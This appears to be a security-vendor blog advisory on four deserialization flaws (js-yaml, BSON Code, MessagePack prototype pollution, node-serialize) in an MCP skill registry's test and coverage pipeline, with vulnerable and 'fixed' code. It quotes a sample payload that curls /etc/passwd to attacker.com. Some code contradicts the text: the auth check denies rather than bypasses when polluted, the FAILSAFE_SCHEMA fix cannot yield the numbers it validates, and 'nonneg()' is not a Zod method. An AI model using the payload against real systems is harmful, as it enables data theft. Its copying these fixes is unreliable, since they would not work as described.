← Blog

Claude MCP skill insecure deserialization — skill test suite execution and coverage reporting pipeline endpoints (SA-SKL-DESER68)

SA-SKL-DESER68 identifies four insecure deserialization vulnerabilities in MCP skill registry skill test suite execution and coverage reporting pipeline endpoints. Test suite configuration stored in Redis is deserialized with yaml.load() using the full DEFAULT_FULL_SCHEMA — a !!js/function gadget in the testConfig.onSuiteComplete field achieves arbitrary remote code execution at every test suite completion event triggered by any CI pipeline connected to the registry, without any authentication requirement on the Redis path; coverage aggregation models stored in MongoDB are deserialized from BSON with promoteValues:true (the driver default), allowing a BSON Code type stored at the coverageProcessorFn field to trigger eval() during coverage aggregation at every test run result submission from every publisher on the platform; test event queue entries stored in Redis as MessagePack are deserialized without prototype chain sanitization, allowing a __proto__.skipTestAuth:true payload to pollute Object.prototype and disable authentication for all subsequent test pipeline API requests in the affected worker process; and coverage result aggregation records persisted via node-serialize carry an IIFE gadget that achieves RCE at aggregation time, reachable from any user who views the skill's coverage badge on the registry homepage.

SA-SKL-DESER68 findings at a glance
CRITICALDESER68-001 — test suite config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in testConfig.onSuiteComplete achieves RCE at every test suite completion event from any CI pipeline
CRITICALDESER68-002 — coverage model reads from MongoDB as BSON — BSON Code type at coverageProcessorFn field triggers eval() during coverage aggregation at every test run result submission
CRITICALDESER68-003 — test event queue stored in Redis as MessagePack — __proto__.skipTestAuth:true pollutes Object.prototype, disabling authentication for all subsequent test pipeline API requests in same worker
CRITICALDESER68-004 — coverage result aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill coverage badge

DESER68-001 — yaml.load RCE via test suite config onSuiteComplete handler in Redis

The test suite execution pipeline stores per-skill test configuration in Redis, serialized as YAML. When a CI pipeline completes a test run, the registry reads this configuration from Redis using yaml.load() with the default DEFAULT_FULL_SCHEMA — the full schema that recognizes JavaScript-specific YAML types including !!js/function. An attacker who can write to Redis (via a misconfigured auth, a compromised CI token, or another deserialization vulnerability earlier in the chain) stores a malicious config with testConfig.onSuiteComplete: !!js/function "function(){ require('child_process').execSync('curl attacker.com/$(cat /etc/passwd | base64)') }". At the next test suite completion — triggered by any publisher running their CI pipeline — the registry deserializes this config and immediately invokes the function, achieving RCE under the registry server's process identity.

Vulnerable
// DESER68-001 — VULNERABLE
const yaml = require('js-yaml');

async function getTestSuiteConfig(skillId) {
  const raw = await redis.get(`test-config:${skillId}`);
  // DEFAULT_FULL_SCHEMA allows !!js/function type tags — arbitrary RCE
  return yaml.load(raw);
}

router.post('/skills/:id/test-suite/complete',
  requireSession,
  async (req, res) => {
    const config = await getTestSuiteConfig(req.params.id);
    // onSuiteComplete is an attacker-controlled function — called here
    if (config.onSuiteComplete) await config.onSuiteComplete(req.body.results);
    res.json({ processed: true });
  }
);
Fixed
// DESER68-001 — FIXED: FAILSAFE_SCHEMA; Zod TestSuiteConfigSchema; named handler lookup
const yaml = require('js-yaml');
const { z } = require('zod');

const TestSuiteConfigSchema = z.object({
  onSuiteComplete: z.enum(['notify', 'rerun_failed', 'archive']).optional(),
  retryCount: z.number().int().min(0).max(5).optional(),
  timeoutMs: z.number().int().min(1000).max(300000).optional()
});

const SUITE_COMPLETE_HANDLERS = {
  notify: notifyOnComplete,
  rerun_failed: rerunFailedTests,
  archive: archiveSuiteResults
};

async function getTestSuiteConfig(skillId) {
  const raw = await redis.get(`test-config:${skillId}`);
  // FAILSAFE_SCHEMA: only plain strings, numbers, booleans — no !!js/function
  const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
  return TestSuiteConfigSchema.parse(parsed);
}

router.post('/skills/:id/test-suite/complete',
  requireSession,
  async (req, res) => {
    const config = await getTestSuiteConfig(req.params.id);
    if (config.onSuiteComplete) {
      const handler = SUITE_COMPLETE_HANDLERS[config.onSuiteComplete];
      if (handler) await handler(req.params.id, req.body.results);
    }
    res.json({ processed: true });
  }
);

yaml.load() with DEFAULT_FULL_SCHEMA is RCE-by-design when the input is not fully trusted. Redis is never a fully trusted source — any path that writes to Redis becomes a code injection vector. FAILSAFE_SCHEMA limits deserialized types to strings, preventing all type-tag gadgets. Replacing the callable config field with an enum and a named handler registry eliminates the possibility of arbitrary function execution even if schema validation is bypassed.

DESER68-002 — BSON Code eval() triggered by coverageProcessorFn during aggregation

The coverage reporting pipeline stores per-skill coverage aggregation models in MongoDB, including a coverageProcessorFn field that the original design intended to hold a named strategy identifier. The MongoDB Node.js driver's default promoteValues: true setting promotes BSON Code type documents to JavaScript Code objects with an eval() method. When coverage aggregation runs at every test result submission, the pipeline reads the coverage model and calls coverageModel.coverageProcessorFn(results) — if the field stored in MongoDB is a BSON Code document containing malicious JavaScript, this call triggers eval() with attacker-controlled code, achieving RCE under the aggregation service identity. The trigger occurs at every test run result submission from every publisher, making this a high-frequency RCE vector with no authentication check on the internal aggregation path.

Vulnerable
// DESER68-002 — VULNERABLE
async function aggregateCoverageResults(skillId, testResults) {
  // promoteValues:true (driver default) — BSON Code becomes callable JS Code object
  const coverageModel = await db.collection('coverage_models').findOne(
    { skillId },
    { promoteValues: true }
  );
  if (coverageModel.coverageProcessorFn) {
    // If coverageProcessorFn is a BSON Code type, this triggers eval()
    return coverageModel.coverageProcessorFn(testResults);
  }
  return defaultCoverageAggregation(testResults);
}
Fixed
// DESER68-002 — FIXED: promoteValues:false; projection excludes coverageProcessorFn; named strategy
const COVERAGE_STRATEGIES = {
  line: computeLineCoverage,
  branch: computeBranchCoverage,
  statement: computeStatementCoverage,
  function: computeFunctionCoverage
};

async function aggregateCoverageResults(skillId, testResults) {
  // promoteValues:false — BSON Code stays as opaque object; never called
  const coverageModel = await db.collection('coverage_models').findOne(
    { skillId },
    {
      projection: { coverageProcessorFn: 0 },  // never read the dangerous field
      promoteValues: false
    }
  );
  const strategyName = coverageModel?.coverageStrategy || 'line';
  const strategy = COVERAGE_STRATEGIES[strategyName] || computeLineCoverage;
  return strategy(testResults);
}

BSON Code type promotion is a hidden RCE vector that most MongoDB tutorials never mention. The driver default promotes BSON Code to callable JavaScript objects silently. Setting promoteValues: false prevents all type promotion. Combining this with a projection that excludes the dangerous field ensures the Code document is never loaded into memory at all, eliminating the attack surface at the read layer rather than the execution layer.

DESER68-003 — MessagePack prototype pollution via test event queue disables pipeline authentication

The test execution pipeline queues test events in Redis, serialized as MessagePack. When the queue consumer processes each event, it deserializes the MessagePack payload using a standard decoder without sanitizing the resulting object against prototype chain mutations. An attacker who can inject a crafted MessagePack payload into the test event queue includes a __proto__ key with a nested skipTestAuth: true field. When this payload is deserialized, the MessagePack decoder's default key assignment — obj[key] = value — sets Object.prototype.skipTestAuth = true, polluting the prototype chain for the entire worker process. Every subsequent authentication check in the same worker that reads if (req.session.skipTestAuth) now returns true for all requests, regardless of session state, disabling all test pipeline authentication for the duration of the worker's lifetime.

Vulnerable
// DESER68-003 — VULNERABLE: MessagePack deserialization without prototype sanitization
const msgpack = require('msgpackr');

async function processTestEventQueue() {
  while (true) {
    const raw = await redis.brpop('test-events', 0);
    // No __proto__ sanitization — prototype pollution possible
    const event = msgpack.unpack(raw[1]);
    await handleTestEvent(event);
  }
}

function requireTestAuth(req, res, next) {
  // Polluted Object.prototype.skipTestAuth bypasses this check for all requests
  if (req.session?.skipTestAuth || !req.session?.userId) {
    return res.status(401).json({ error: 'unauthorized' });
  }
  next();
}
Fixed
// DESER68-003 — FIXED: sanitizeDeserialized(); hasOwnProperty.call in auth check
const msgpack = require('msgpackr');

function sanitizeDeserialized(obj) {
  if (obj === null || typeof obj !== 'object') return obj;
  const safe = Object.create(null);  // no prototype chain
  for (const key of Object.keys(obj)) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
    safe[key] = sanitizeDeserialized(obj[key]);
  }
  return safe;
}

async function processTestEventQueue() {
  while (true) {
    const raw = await redis.brpop('test-events', 0);
    const decoded = msgpack.unpack(raw[1]);
    const event = sanitizeDeserialized(decoded);
    await handleTestEvent(event);
  }
}

function requireTestAuth(req, res, next) {
  // hasOwnProperty.call prevents prototype chain lookup — pollution-resistant
  const skipAuth = Object.prototype.hasOwnProperty.call(req.session || {}, 'skipTestAuth')
    && req.session.skipTestAuth === true;
  if (skipAuth || !req.session?.userId) {
    return res.status(401).json({ error: 'unauthorized' });
  }
  next();
}

Prototype pollution through deserialized queue payloads is a process-wide vulnerability, not a per-request one. A single polluted queue entry affects every request the worker handles until it restarts. sanitizeDeserialized() strips dangerous keys before the object reaches any application code. Using Object.prototype.hasOwnProperty.call() in auth checks provides defense-in-depth: even if pollution occurs through another vector, the auth check cannot be bypassed by inherited properties.

DESER68-004 — node-serialize IIFE gadget achieves RCE in coverage result aggregation

Coverage result aggregation records are persisted and read back using the node-serialize library. The node-serialize library supports a special serialization format for functions using the _$$ND_FUNC$$_ marker prefix; when deserialize() encounters this marker, it wraps the function string in parentheses and calls eval() on the result. If the function string is an IIFE — (function(){...})() — it executes immediately during deserialization. An attacker who can write a crafted aggregation record into the persistence layer embeds an IIFE payload. When any user views a skill's coverage badge on the registry homepage, the badge rendering path reads the aggregation record and calls deserialize(), triggering RCE under the registry server's identity. This attack is unauthenticated from the trigger perspective — badge viewing requires no session.

Vulnerable
// DESER68-004 — VULNERABLE
const serialize = require('node-serialize');

async function getCoverageAggregation(skillId) {
  const raw = await db.collection('coverage_aggregations').findOne({ skillId });
  // node-serialize eval()s _$$ND_FUNC$$_ markers — IIFE achieves instant RCE
  return serialize.unserialize(raw.aggregationData);
}

// Badge endpoint — no auth required
router.get('/skills/:id/badge/coverage', async (req, res) => {
  const agg = await getCoverageAggregation(req.params.id);
  res.json({ coveragePercent: agg.percent, grade: agg.grade });
});
Fixed
// DESER68-004 — FIXED: JSON.parse + Zod CoverageAggregationSchema; evict _$$ND_FUNC$$_ payloads
const { z } = require('zod');

const CoverageAggregationSchema = z.object({
  percent: z.number().min(0).max(100),
  grade: z.enum(['A', 'B', 'C', 'D', 'F']),
  linesCovered: z.number().int().nonneg(),
  linesTotal: z.number().int().nonneg(),
  computedAt: z.string().datetime()
});

async function getCoverageAggregation(skillId) {
  const raw = await db.collection('coverage_aggregations').findOne({ skillId });
  if (typeof raw?.aggregationData === 'string'
      && raw.aggregationData.includes('_$$ND_FUNC$$_')) {
    await quarantineRecord(skillId, raw._id, 'node-serialize IIFE payload detected');
    throw new Error('Aggregation record quarantined');
  }
  const parsed = JSON.parse(raw.aggregationData);
  return CoverageAggregationSchema.parse(parsed);
}

router.get('/skills/:id/badge/coverage', async (req, res) => {
  const agg = await getCoverageAggregation(req.params.id);
  res.json({ coveragePercent: agg.percent, grade: agg.grade });
});

node-serialize is a known-RCE library that should not be used for any data that can be influenced by external input. Replace all node-serialize usage with JSON.parse() combined with a strict Zod schema. Add a pre-parse check for the _$$ND_FUNC$$_ marker to quarantine any records that have already been poisoned in existing persistence stores before the migration, rather than leaving them to be triggered by the next consumer that reads them.

Scan your MCP skill for DESER68 and 200+ other vulnerability classes

SkillAudit checks for all SA-SKL-DESER vulnerability patterns including yaml.load with unsafe schemas, BSON Code type promotion, MessagePack prototype pollution, and node-serialize IIFE gadgets in test pipeline and coverage reporting paths. Get a graded report with line-level code fixes in 60 seconds.

Get a free audit